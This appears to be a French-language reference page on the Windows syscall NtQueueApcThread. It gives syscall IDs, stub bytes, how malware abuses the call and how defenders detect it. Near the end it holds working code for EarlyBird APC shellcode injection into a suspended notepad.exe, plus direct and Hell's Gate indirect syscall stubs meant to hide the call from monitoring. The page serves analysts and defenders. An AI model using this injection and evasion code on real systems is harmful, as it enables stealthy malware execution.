NtQueueApcThread
Place un appel de procédure asynchrone (APC) en mode utilisateur dans la file d'un thread cible.
Prototype
NTSTATUS NtQueueApcThread( HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| ThreadHandle | HANDLE | in | Handle vers le thread cible avec l'accès THREAD_SET_CONTEXT. |
| ApcRoutine | PIO_APC_ROUTINE | in | Adresse en mode utilisateur que le thread exécutera lorsqu'il entrera dans un wait alertable. |
| ApcArgument1 | PVOID | in | Premier argument transmis à ApcRoutine. Souvent utilisé comme pointeur de payload. |
| ApcArgument2 | PVOID | in | Deuxième argument transmis à ApcRoutine. |
| ApcArgument3 | PVOID | in | Troisième argument transmis à ApcRoutine. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x45 | win10-1507 |
| Win10 1607 | 0x45 | win10-1607 |
| Win10 1703 | 0x45 | win10-1703 |
| Win10 1709 | 0x45 | win10-1709 |
| Win10 1803 | 0x45 | win10-1803 |
| Win10 1809 | 0x45 | win10-1809 |
| Win10 1903 | 0x45 | win10-1903 |
| Win10 1909 | 0x45 | win10-1909 |
| Win10 2004 | 0x45 | win10-2004 |
| Win10 20H2 | 0x45 | win10-20h2 |
| Win10 21H1 | 0x45 | win10-21h1 |
| Win10 21H2 | 0x45 | win10-21h2 |
| Win10 22H2 | 0x45 | win10-22h2 |
| Win11 21H2 | 0x45 | win11-21h2 |
| Win11 22H2 | 0x45 | win11-22h2 |
| Win11 23H2 | 0x45 | win11-23h2 |
| Win11 24H2 | 0x45 | win11-24h2 |
| Server 2016 | 0x45 | winserver-2016 |
| Server 2019 | 0x45 | winserver-2019 |
| Server 2022 | 0x45 | winserver-2022 |
| Server 2025 | 0x45 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 45 00 00 00 mov eax, 0x45 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
File un APC utilisateur régulier sur le thread cible. Le SSN `0x45` est stable sur chaque build Win10/11 livré. Un APC utilisateur en file ne se déclenche que lorsque le thread cible entre dans un wait *alertable* (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, idles de message-loop GUI). Si le thread ne devient jamais alertable, l'APC reste en file indéfiniment — d'où l'introduction de `NtQueueApcThreadEx` avec `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) qui force le déclenchement. L'EarlyBird APC injection contourne l'exigence d'alertabilité en visant un thread fraîchement créé et suspendu qui n'a pas encore exécuté sa première instruction.
Usage courant par les malwares
Deux saveurs principales en abusent. (1) Injection APC distante classique : ouvrir un thread cible, mettre en file un APC pointant sur `LoadLibraryA` ou directement sur du shellcode dans `ApcArgument1`, attendre qu'il se déclenche. (2) EarlyBird : créer un processus bénin suspendu, mettre en file l'APC sur le thread primaire avant que le loader ne tourne, reprendre — l'APC se déclenche lorsque le loader atteint son premier wait alertable dans `ntdll!LdrpInitializeProcess`. Utilisé par Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, la combinaison originale APC+Atombombing, et les BOF `AddressOfPage` de Cobalt Strike.
Opportunités de détection
Aucun événement Sysmon dédié. ETW Threat Intelligence émet `EtwTiLogQueueApcThread` pour les APC utilisateur mis en file inter-processus — c'est le signal noyau principal et ce que la plupart des EDR consomment. Le callback `PsSetCreateThreadNotifyRoutine` ne se déclenche qu'à la création de thread, pas à la mise en file d'APC, donc EarlyBird se détecte par la *combinaison* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` depuis un parent non-debugger. La télémétrie de stack-walk à la livraison de l'APC est l'étalon-or : si la chaîne de retour ne montre que des frames ntdll avec une routine APC en mémoire privée, c'est de l'injection à haute confiance.
Exemples de syscalls directs
asmx64 direct stub
; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
mov r10, rcx ; syscall convention
mov eax, 45h ; SSN
syscall
ret
NtQueueApcThread ENDPcEarlyBird APC injection
// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
SIZE_T size = shellcode_len;
PVOID remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);cHell's Gate dynamic lookup
// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);Mappings MITRE ATT&CK
Last verified: 2026-05-20